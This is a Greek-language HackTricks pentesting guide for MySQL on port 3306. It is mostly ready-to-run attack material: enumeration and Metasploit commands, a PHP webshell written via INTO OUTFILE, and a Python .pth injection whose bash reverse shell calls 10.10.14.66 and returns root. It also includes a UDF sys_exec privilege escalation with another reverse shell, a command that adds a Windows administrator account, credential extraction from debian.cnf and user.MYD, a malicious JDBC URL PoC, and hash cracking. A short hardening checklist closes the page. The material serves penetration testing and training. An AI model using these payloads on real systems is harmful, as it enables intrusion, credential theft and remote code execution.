3306 - Pentesting Mysql

Reading time: 17 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

MySQL μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα Σύστημα Διαχείρισης Σχεσιακών Βάσεων Δεδομένων (RDBMS) που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με τη Γλώσσα Δομημένων Ερωτημάτων (SQL), επιτρέποντας τη διαχείριση και την επεξεργασία βάσεων δεδομένων.

Προεπιλεγμένη θύρα: 3306

3306/tcp open  mysql

Σύνδεση

Τοπικά

bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Απομακρυσμένο

bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Εξωτερική Αρίθμηση

Ορισμένες από τις ενέργειες αρίθμησης απαιτούν έγκυρα διαπιστευτήρια

bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Γράψτε οποιαδήποτε δυαδικά δεδομένα

bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Εντολές MySQL

bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Απαρίθμηση Δικαιωμάτων MySQL

sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Μπορείτε να δείτε στα έγγραφα τη σημασία κάθε προνομίου: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE → Python .pth RCE (ειδικές ρυθμίσεις ιστότοπου)

Καταχρώντας την κλασική πρωτοβουλία INTO OUTFILE, είναι δυνατόν να αποκτηθεί εκτέλεση αυθαίρετου κώδικα σε στόχους που εκτελούν αργότερα Python σενάρια.

  1. Χρησιμοποιήστε INTO OUTFILE για να ρίξετε ένα προσαρμοσμένο .pth αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το site.py (π.χ. .../lib/python3.10/site-packages/).
  2. Το αρχείο .pth μπορεί να περιέχει μια μοναδική γραμμή που ξεκινά με import ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας.
  3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα /cgi-bin/ml-draw.py με shebang #!/bin/python), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως root → πλήρης προ-auth RCE).

Παράδειγμα payload .pth (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/UNHEX() ή συγχώνευση συμβολοσειρών):

python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

Παράδειγμα δημιουργίας του αρχείου μέσω ενός UNION ερωτήματος (οι χαρακτήρες κενών αντικαθίστανται με /**/ για να παρακαμφθεί ένα φίλτρο χώρου sscanf("%128s") και να διατηρηθεί το συνολικό μήκος ≤128 bytes):

sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

Σημαντικοί περιορισμοί & παρακάμψεις:

  • INTO OUTFILE δεν μπορεί να αντικαταστήσει υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου.
  • Η διαδρομή του αρχείου επιλύεται σχετικά με το CWD του MySQL, οπότε η προσθήκη ../../ βοηθά στη συντόμευση της διαδρομής και στην παράκαμψη περιορισμών απόλυτης διαδρομής.
  • Εάν η είσοδος του επιτιθέμενου εξάγεται με %128s (ή παρόμοιο), οποιοσδήποτε χώρος θα κόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL /**/ ή /*!*/ για να αντικαταστήσετε τους χώρους.
  • Ο χρήστης MySQL που εκτελεί το ερώτημα χρειάζεται το δικαίωμα FILE, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία εκτελείται ως root, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.

Αφού ρίξετε το .pth, απλά ζητήστε οποιοδήποτε CGI διαχειρίζεται ο διερμηνέας python για να αποκτήσετε εκτέλεση κώδικα:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Η διαδικασία Python θα εισάγει αυτόματα το κακόβουλο .pth και θα εκτελέσει το shell payload.

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη

Στην πραγματικότητα, όταν προσπαθείτε να φορτώσετε δεδομένα τοπικά σε έναν πίνακα το περιεχόμενο ενός αρχείου ο διακομιστής MySQL ή MariaDB ζητά από τον πελάτη να το διαβάσει και να στείλει το περιεχόμενο. Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται:

bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Προσοχή στη λέξη "local")
Επειδή χωρίς το "local" μπορείς να πάρεις:

bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Αρχικό PoC: https://github.com/allyshka/Rogue-MySql-Server
Σε αυτό το έγγραφο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη και πώς να την επεκτείνετε σε RCE: https://paper.seebug.org/1113/
Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Χρήστης Mysql

Θα είναι πολύ ενδιαφέρον αν το mysql εκτελείται ως root:

bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Επικίνδυνες Ρυθμίσεις του mysqld.cnf

Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:

  • Η user ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
  • Η password εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
  • Η admin_address προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου.
  • Η debug μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
  • Η sql_warnings διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
  • Με την secure_file_priv, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.

Ανάβαση προνομίων

bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

If the mysql server is running as root (or a different more privileged user) you can make it execute commands. For that, you need to use user defined functions. And to create a user defined you will need a library for the OS that is running mysql.

The malicious library to use can be found inside sqlmap and inside metasploit by doing locate "*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones, choose the one you need.

If you don't have those libraries, you can either look for them, or download this linux C code and compile it inside the linux vulnerable machine:

bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:

Linux

sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Εξαγωγή διαπιστευτηρίων MySQL από αρχεία

Μέσα στο /etc/mysql/debian.cnf μπορείτε να βρείτε τον κωδικό πρόσβασης σε απλό κείμενο του χρήστη debian-sys-maint

bash
cat /etc/mysql/debian.cnf

Μπορείτε να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql.

Μέσα στο αρχείο: /var/lib/mysql/mysql/user.MYD μπορείτε να βρείτε όλους τους κατακερματισμούς των χρηστών MySQL (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων).

Μπορείτε να τους εξάγετε κάνοντας:

bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Ενεργοποίηση καταγραφής

Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο /etc/mysql/my.cnf αποσχολώντας τις παρακάτω γραμμές:

Χρήσιμα αρχεία

Αρχεία Ρυθμίσεων

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Ιστορικό Εντολών
  • ~/.mysql.history
  • Αρχεία Καταγραφής
  • connections.log
  • update.log
  • common.log

Προεπιλεγμένη Βάση Δεδομένων/Πίνακες MySQL

ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS

HackTricks Αυτόματες Εντολές

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 Highlights (new)

JDBC propertiesTransform deserialization (CVE-2023-21971)

Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το JDBC URL (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει την φόρτωση αυθαίρετων κλάσεων στην πλευρά του client μέσω της παραμέτρου propertiesTransform. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής:

java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Η εκτέλεση του Evil.class μπορεί να είναι τόσο εύκολη όσο η παραγωγή του στο class-path της ευάλωτης εφαρμογής ή η αφήγηση ενός κακόβουλου MySQL server να στείλει ένα κακόβουλο σειριακό αντικείμενο. Το ζήτημα διορθώθηκε στην Connector/J 8.0.33 – αναβαθμίστε τον οδηγό ή ορίστε ρητά το propertiesTransform σε μια λίστα επιτρεπόμενων. (Δείτε την αναφορά του Snyk για λεπτομέρειες)

Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών

Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα μερικό πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται προς τα έξω:

  • mysql-fake-server (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης)
  • rogue_mysql_server (Python, παρόμοιες δυνατότητες)

Τυπικές διαδρομές επίθεσης:

  1. Η εφαρμογή-θύμα φορτώνει το mysql-connector-j με allowLoadLocalInfile=true ή autoDeserialize=true.
  2. Ο επιτιθέμενος ελέγχει την DNS / καταχώρηση host έτσι ώστε το όνομα του DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του.
  3. Ο κακόβουλος server απαντά με κατασκευασμένα πακέτα που ενεργοποιούν είτε την ανάγνωση αρχείων LOCAL INFILE είτε την αποσειριοποίηση Java → RCE.

Παράδειγμα one-liner για να ξεκινήσετε έναν ψεύτικο server (Java):

bash
java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

Στη συνέχεια, κατευθύνετε την εφαρμογή-στόχο στο jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true και διαβάστε το /etc/passwd κωδικοποιώντας το όνομα αρχείου ως base64 στο πεδίο username (fileread_/etc/passwdbase64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).

Σπάσιμο κατακερματισμών caching_sha2_password

MySQL ≥ 8.0 αποθηκεύει τους κατακερματισμούς κωδικών πρόσβασης ως $mysql-sha2$ (SHA-256). Και το Hashcat (λειτουργία 21100) και το John-the-Ripper (--format=mysql-sha2) υποστηρίζουν εκτός σύνδεσης σπάσιμο από το 2023. Εξάγετε τη στήλη authentication_string και τροφοδοτήστε την απευθείας:

bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Λίστα ελέγχου σκληροποίησης (2025)

• Ρυθμίστε LOCAL_INFILE=0 και --secure-file-priv=/var/empty για να καταργήσετε τις περισσότερες πρωτογενείς λειτουργίες ανάγνωσης/εγγραφής αρχείων.
• Αφαιρέστε το δικαίωμα FILE από τους λογαριασμούς εφαρμογών.
• Στο Connector/J ρυθμίστε allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (κενό).
• Απενεργοποιήστε τα μη χρησιμοποιούμενα πρόσθετα πιστοποίησης και απαιτήστε TLS (require_secure_transport = ON).
• Παρακολουθήστε για δηλώσεις CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL και ξαφνικές δηλώσεις SET GLOBAL.


Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks